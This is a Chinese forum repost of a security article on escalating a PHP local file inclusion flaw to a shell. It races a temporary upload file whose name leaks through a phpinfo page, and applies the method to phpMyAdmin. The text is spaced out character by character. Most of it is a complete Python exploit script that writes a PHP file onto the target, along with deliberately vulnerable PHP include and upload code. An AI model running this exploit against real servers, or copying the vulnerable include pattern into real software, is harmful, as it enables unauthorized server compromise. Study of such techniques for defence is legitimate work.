搜索

[15725] 2020-08-13_技术讨论PHP本地文件包含漏洞GetShell

文档创建者：s7ckTeam
浏览次数：13
最后更新：2025-01-18
2020-08-13_技术讨论PHP本地文件包含漏洞GetShell 技 术 讨 论   |   P H P 本 地 文 件 包 含 漏 洞 G e t S h e l l g u a n a n 2 0 1 9   F r e e B u f   2 0 2 0 - 0 8 - 1 3 序 言 序 言 让 我 们 突 破 重 重 苛 刻 环 境 G e t S h e l l ， 文 中 有 以 p h p m y a d m i n 包 含 漏 洞 做 演 示 。 P S ： 本 文 仅 用 于 技 术 讨 论 与 分 析 ， 严 禁 用 于 任 何 非 法 用 途 ， 违 者 后 果 自 负 。 漏 洞 背 景 漏 洞 背 景 当 您 在 发 现 P H P 本 地 文 件 包 含 漏 洞 的 时 候 ， 却 尴 尬 于 没 有 上 传 点 ， 或 者 受 到 b a s e _ d i r 的 限 制 ， 可 以 尝 试 用 如 下 操 作 进 行 突 破 。 利 用 条 件 利 用 条 件 1 . 存 在 P H P 文 件 包 含 漏 洞 2 . 存 在 P H P I N F O 泄 漏 页 面 , 或 者 其 他 d e b u g 泄 漏 , 获 取 t m p _ n a m e 值 漏 洞 复 现 漏 洞 复 现 演 示 环 境 ： W i n d o w s   +   p h p   5 . 6 0 x 0 1 : P H P 文 件 上 传 文 件 上 传 e x a m p l e ： < ? p h p i f   ( ( ( $ _ F I L E S [ " f i l e " ] [ " t y p e " ]   = =   " i m a g e / g i f " ) | |   ( $ _ F I L E S [ " f i l e " ] [ " t y p e " ]   = =   " i m a g e / j p e g " ) | |   ( $ _ F I L E S [ " f i l e " ] [ " t y p e " ]   = =   " i m a g e / p j p e g " ) ) & &   ( $ _ F I L E S [ " f i l e " ] [ " s i z e " ]   <   2 0 0 0 0 ) )     {     i f   ( $ _ F I L E S [ " f i l e " ] [ " e r r o r " ]   >   0 )         {         e c h o   " E r r o r :   "   .   $ _ F I L E S [ " f i l e " ] [ " e r r o r " ]   .   " < b r   / > " ;         }     e l s e         {         e c h o   " U p l o a d :   "   .   $ _ F I L E S [ " f i l e " ] [ " n a m e " ]   .   " < b r   / > " ;         e c h o   " T y p e :   "   .   $ _ F I L E S [ " f i l e " ] [ " t y p e " ]   .   " < b r   / > " ;         e c h o   " S i z e :   "   .   ( $ _ F I L E S [ " f i l e " ] [ " s i z e " ]   /   1 0 2 4 )   .   "   K b < b r   / > " ;         e c h o   " S t o r e d   i n :   "   .   $ _ F I L E S [ " f i l e " ] [ " t m p _ n a m e " ] ;         }     } e l s e
上 面 的 例 子 在 服 务 器 的   P H P   临 时 文 件 夹 创 建 了 一 个 被 上 传 文 件 的 临 时 副 本 ， 但 是 并 没 有 保 存 ， 上 传 文 件 名 以 p h p   +   r a n d o m ( 6 )   进 行 拼 接 在 给 P H P 发 送 P O S T 数 据 包 时 ， 如 果 数 据 包 里 包 含 文 件 区 块 ， 无 论 你 访 问 的 代 码 中 有 没 有 处 理 文 件 上 传 的 逻 辑 ， P H P 都 会 将 这 个 文 件 保 存 成 一 个 临 时 文 件 这 个 文 件 在 生 成 的 瞬 间 又 被 删 除 ， 利 用 条 件 竞 争 进 行 包 含 0 x 0 2 : 获 取 临 时 文 件 名 获 取 临 时 文 件 名 p h p i n f o ( )   会 打 印 出 所 有 请 求 的 变 量 ， 所 以 我 们 只 需 要 向 p h p i n f o   发 送   上 传 文 件 的 数 据 包 ， 就 可 以 获 取 到 临 时 文 件 名 但 是 文 件 删 除 的 速 度 很 快 ， 导 致 条 件 竞 争 很 难 利 用 ， 通 过 学 习 P 牛 师 傅 的 文 章 ， 需 要 用 到 条 件 竞 争 ， 具 体 流 程 如 下 ： 1 . p h p 默 认 的 缓 冲 区 大 小 为 4 0 9 6 ， 每 次 返 回 的 s o c k e t 连 接 为 4 0 9 6 字 节 2 . 因 为 p h p i n f o   会 打 印 出 所 有 接 收 的 数 据 ， 我 们 需 要 发 送 垃 圾 数 据 ， 让 R e s p o n s e 回 显 的 内 容 很 大 3 . 利 用 原 生 的 s o c k e t   建 立 连 接 ， 控 制 返 回 ， 每 次 只 读 取 4 0 9 6 字 节 ， 只 要 获 取 到 文 件 名 ， 就 立 马 发 送 第 二 个 数 据 包 4 . 此 时 第 一 个 s o c k e t 连 接 并 没 有 结 束 ， 所 以 可 以 利 用 这 个 时 间 差 ， 进 行 条 件 竞 争 ， 利 用 文 件 包 含 漏 洞 进 行 g e t s h e l l 复 现 复 现 p h p i n f o . p h p l f i . p h p     {     e c h o   " I n v a l i d   f i l e " ;     } ? > < ? p h p   p h p i n f o ( ) ; ? > < ? p h p $ a = $ _ G E T [ ' f i l e ' ] ; i n c l u d e ( $ a ) ;
利 用 脚 本 ， w i n d o w s   环 境 下   / / 我 这 边 是 w i n d o w s   环 境 测 试 ， 主 要 修 改 切 片 获 取 的 文 件 名 ， 然 后 根 据 具 体 实 战 环 境 去 修 改 R E Q 1   R E Q 2 ? > # ! / u s r / b i n / p y t h o n i m p o r t   s y s i m p o r t   t h r e a d i n g i m p o r t   s o c k e t d e f   s e t u p ( h o s t ,   p o r t ) :         T A G   =   " S e c u r i t y   T e s t "         P A Y L O A D   =   " " " % s r < ? p h p   f i l e _ p u t _ c o n t e n t s ( ' a a a . p h p ' , ' < ? p h p   p h p i n f o ( ) ; ? > ' ) ; ? > r " " "   %   T A G         R E Q 1 _ D A T A   =   " " " - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 7 d b f f 1 d e d 0 7 1 4 r C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " d u m m y n a m e " ;   f i l e n a m e = " t e s t . t x t " r C o n t e n t - T y p e :   t e x t / p l a i n r r % s - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 7 d b f f 1 d e d 0 7 1 4 - - r " " "   %   P A Y L O A D         p a d d i n g   =   " A "   *   5 0 0 0         R E Q 1   =   " " " P O S T   / p h p i n f o . p h p ? a = " " "   +   p a d d i n g   +   " " "   H T T P / 1 . 1 r C o o k i e :   P H P S E S S I D = a q f 2 e v 7 v o 5 p u q 7 b p b n i h c s 0 p b d a n f o 1 j ;   o t h e r c o o k i e = " " "   +   p a d d i n g   +   " " " r H T T P _ A C C E P T :   " " "   +   p a d d i n g   +   " " " r H T T P _ U S E R _ A G E N T :   " " "   +   p a d d i n g   +   " " " r H T T P _ A C C E P T _ L A N G U A G E :   " " "   +   p a d d i n g   +   " " " r H T T P _ P R A G M A :   " " "   +   p a d d i n g   +   " " " r C o n t e n t - T y p e :   m u l t i p a r t / f o r m - d a t a ;   b o u n d a r y = - - - - - - - - - - - - - - - - - - - - - - - - - - - 7 d b f f 1 d e d 0 7 1 4 r C o n t e n t - L e n g t h :   % s r H o s t :   % s r r % s " " "   %   ( l e n ( R E Q 1 _ D A T A ) ,   h o s t ,   R E Q 1 _ D A T A )         #   m o d i f y   t h i s   t o   s u i t   t h e   L F I   s c r i p t         L F I R E Q   =   " " " G E T   / e c . p h p ? f i l e = % s   H T T P / 1 . 1 r C o o k i e :   x x x x r U s e r - A g e n t :   M o z i l l a / 4 . 0 r P r o x y - C o n n e c t i o n :   K e e p - A l i v e r H o s t :   % s r r r " " "         r e t u r n   ( R E Q 1 ,   T A G ,   L F I R E Q ) d e f   p h p I n f o L F I ( h o s t ,   p o r t ,   p h p i n f o r e q ,   o f f s e t ,   l f i r e q ,   t a g ) :         s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )         s 2   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )         s . c o n n e c t ( ( h o s t ,   p o r t ) )         s 2 . c o n n e c t ( ( h o s t ,   p o r t ) )
        s . s e n d ( p h p i n f o r e q )         d   =   " "         w h i l e   l e n ( d )   <   o f f s e t :                 d   + =   s . r e c v ( o f f s e t )         t r y :                 i   =   d . i n d e x ( " [ t m p _ n a m e ]   = & g t ;   " )                 f n   =   d [ i   +   1 7 : i   +   4 8 ]                 p r i n t ( f n )         e x c e p t   V a l u e E r r o r :                 r e t u r n   N o n e         s 2 . s e n d ( l f i r e q   %   ( f n ,   h o s t ) )         d   =   s 2 . r e c v ( 4 0 9 6 )         p r i n t ( l f i r e q   %   ( f n ,   h o s t ) )         p r i n t ( d )         s . c l o s e ( )         s 2 . c l o s e ( )         i f   d . f i n d ( t a g )   ! =   - 1 :                 r e t u r n   f n c o u n t e r   =   0 c l a s s   T h r e a d W o r k e r ( t h r e a d i n g . T h r e a d ) :         d e f   _ _ i n i t _ _ ( s e l f ,   e ,   l ,   m ,   * a r g s ) :                 t h r e a d i n g . T h r e a d . _ _ i n i t _ _ ( s e l f )                 s e l f . e v e n t   =   e                 s e l f . l o c k   =   l                 s e l f . m a x a t t e m p t s   =   m                 s e l f . a r g s   =   a r g s         d e f   r u n ( s e l f ) :                 g l o b a l   c o u n t e r                 w h i l e   n o t   s e l f . e v e n t . i s _ s e t ( ) :                         w i t h   s e l f . l o c k :                                 i f   c o u n t e r   > =   s e l f . m a x a t t e m p t s :                                         r e t u r n                                 c o u n t e r   + =   1                         t r y :                                 x   =   p h p I n f o L F I ( * s e l f . a r g s )                                 i f   s e l f . e v e n t . i s _ s e t ( ) :                                         b r e a k                                 i f   x :                                         p r i n t                                         " n G o t   i t !   S h e l l   c r e a t e d   i n   / t m p / g "                                         s e l f . e v e n t . s e t ( )                         e x c e p t   s o c k e t . e r r o r :                                 r e t u r n
d e f   g e t O f f s e t ( h o s t ,   p o r t ,   p h p i n f o r e q ) :         " " " G e t s   o f f s e t   o f   t m p _ n a m e   i n   t h e   p h p   o u t p u t " " "         s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )         s . c o n n e c t ( ( h o s t ,   p o r t ) )         s . s e n d ( p h p i n f o r e q )         d   =   " "         w h i l e   T r u e :                 i   =   s . r e c v ( 4 0 9 6 )                 d   + =   i                 i f   i   = =   " " :                         b r e a k                 #   d e t e c t   t h e   f i n a l   c h u n k                 i f   i . e n d s w i t h ( " 0 r n r n " ) :                         b r e a k         s . c l o s e ( )         i   =   d . f i n d ( " [ t m p _ n a m e ]   = & g t ;   " )         i f   i   = =   - 1 :                 r a i s e   V a l u e E r r o r ( " N o   p h p   t m p _ n a m e   i n   p h p i n f o   o u t p u t " )         p r i n t         " f o u n d   % s   a t   % i "   %   ( d [ i : i   +   1 0 ] ,   i )         #   p a d d e d   u p   a   b i t         r e t u r n   i   +   2 5 6 d e f   m a i n ( ) :         p r i n t         " L F I   W i t h   P H P I n f o ( ) "         p r i n t         " - = "   *   3 0         i f   l e n ( s y s . a r g v )   <   2 :                 p r i n t                 " U s a g e :   % s   h o s t   [ p o r t ]   [ t h r e a d s ] "   %   s y s . a r g v [ 0 ]                 s y s . e x i t ( 1 )         t r y :                 h o s t   =   s o c k e t . g e t h o s t b y n a m e ( s y s . a r g v [ 1 ] )         e x c e p t   s o c k e t . e r r o r ,   e :                 p r i n t                 " E r r o r   w i t h   h o s t n a m e   % s :   % s "   %   ( s y s . a r g v [ 1 ] ,   e )                 s y s . e x i t ( 1 )         p o r t   =   8 0         t r y :                 p o r t   =   i n t ( s y s . a r g v [ 2 ] )         e x c e p t   I n d e x E r r o r :                 p a s s         e x c e p t   V a l u e E r r o r   a s   e :                 p r i n t
                p r i n t                 " E r r o r   w i t h   p o r t   % d :   % s "   %   ( s y s . a r g v [ 2 ] ,   e )                 s y s . e x i t ( 1 )         p o o l s z   =   1 0         t r y :                 p o o l s z   =   i n t ( s y s . a r g v [ 3 ] )         e x c e p t   I n d e x E r r o r :                 p a s s         e x c e p t   V a l u e E r r o r ,   e :                 p r i n t                 " E r r o r   w i t h   p o o l s z   % d :   % s "   %   ( s y s . a r g v [ 3 ] ,   e )                 s y s . e x i t ( 1 )         p r i n t         " G e t t i n g   i n i t i a l   o f f s e t . . . " ,         r e q p h p ,   t a g ,   r e q l f i   =   s e t u p ( h o s t ,   p o r t )         o f f s e t   =   g e t O f f s e t ( h o s t ,   p o r t ,   r e q p h p )         s y s . s t d o u t . f l u s h ( )         m a x a t t e m p t s   =   1 0 0 0         e   =   t h r e a d i n g . E v e n t ( )         l   =   t h r e a d i n g . L o c k ( )         p r i n t         " S p a w n i n g   w o r k e r   p o o l   ( % d ) . . . "   %   p o o l s z         s y s . s t d o u t . f l u s h ( )         t p   =   [ ]         f o r   i   i n   r a n g e ( 0 ,   p o o l s z ) :                 t p . a p p e n d ( T h r e a d W o r k e r ( e ,   l ,   m a x a t t e m p t s ,   h o s t ,   p o r t ,   r e q p h p ,   o f f s e t ,   r e q l f i ,   t a g ) )         f o r   t   i n   t p :                 t . s t a r t ( )         t r y :                 w h i l e   n o t   e . w a i t ( 1 ) :                         i f   e . i s _ s e t ( ) :                                 b r e a k                         w i t h   l :                                 s y s . s t d o u t . w r i t e ( " r %   4 d   /   %   4 d "   %   ( c o u n t e r ,   m a x a t t e m p t s ) )                                 s y s . s t d o u t . f l u s h ( )                                 i f   c o u n t e r   > =   m a x a t t e m p t s :                                         b r e a k                 p r i n t                 i f   e . i s _ s e t ( ) :                         p r i n t                         " W o o t !     m / "                 e l s e :                         p r i n t                         " : ( "         e x c e p t   K e y b o a r d I n t e r r u p t :
G e t S h e l l : 参 数 ： t a r g e t _ h o s t   p o r t   t h r e a d 此 时 的 a a a . p h p   并 不 存 在 ， 我 将 写 入 一 个 a a a . p h p   内 容 为 R u n : 可 以 看 到 ， t e m p 已 经 产 生 了 临 时 文 件 ， （ 手 快 抓 到 的 ， 临 时 文 件 会 很 快 删 除 ）                 p r i n t                 " n T e l l i n g   t h r e a d s   t o   s h u t d o w n . . . "                 e . s e t ( )         p r i n t         " S h u t t i n '   d o w n . . . "         f o r   t   i n   t p :                 t . j o i n ( ) i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " :         m a i n ( )
刷 新 访 问   a a a . p h p 实 战 场 景 ： 默 认 p h p m y a d m i n , 加 p h p i n f o   探 针 （ 某 主 机 默 认 建 站 环 境 ） 1 . 利 用 p h p m y a d m i n   的 文 件 包 含 漏 洞 ， 2 . 通 过 探 针 页 面 ， 发 送 上 传 包 ， 获 取 临 时 文 件 名 ， 3 . 条 件 竞 争   g e t s h e l l （ 有 大 哥 可 能 会 问 我 ， 为 什 么 不 包 含 日 志 等 ， 因 为 我 遇 到 了 o p e n _ b a s e d i r ， 限 制 很 死 ） 踩 坑 日 记 ： m y s q l 写 在 t m p 的 文 件 , w w w 用 户 无 权 限 读 取 。 o p e n _ b a s e d i r   限 制 p h p 包 含 路 径 。 无 上 传 点 ， 所 以 利 用 该 漏 洞 进 行 突 破 极 限 ~ P Y ： 记 得 把 p y 脚 本 改 改 ， 切 片 在 w i n d o w s 下 获 取 文 件 名   会 踩 坑 ， 用 r e 就 好 了 ， 有 点 懒 ， 我 就 简 单 改 了 一 下 临 时 用 ， 大 哥 们 操 作 的 时 候 记 得 改 一 下 。 参 考 参 考 公 众 号 公 众 号 : E D I S E C   漏 洞 挖 掘 h t t p s : / / d l . p a c k e t s t o r m s e c u r i t y . n e t / p a p e r s / g e n e r a l / L F I _ W i t h _ P H P I n f o _ A s s i t a n c e . p d f h t t p s : / / g i t h u b . c o m / v u l h u b / v u l h u b / b l o b / m a s t e r / p h p / i n c l u s i o n / R E A D M E . z h - c n . m d 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理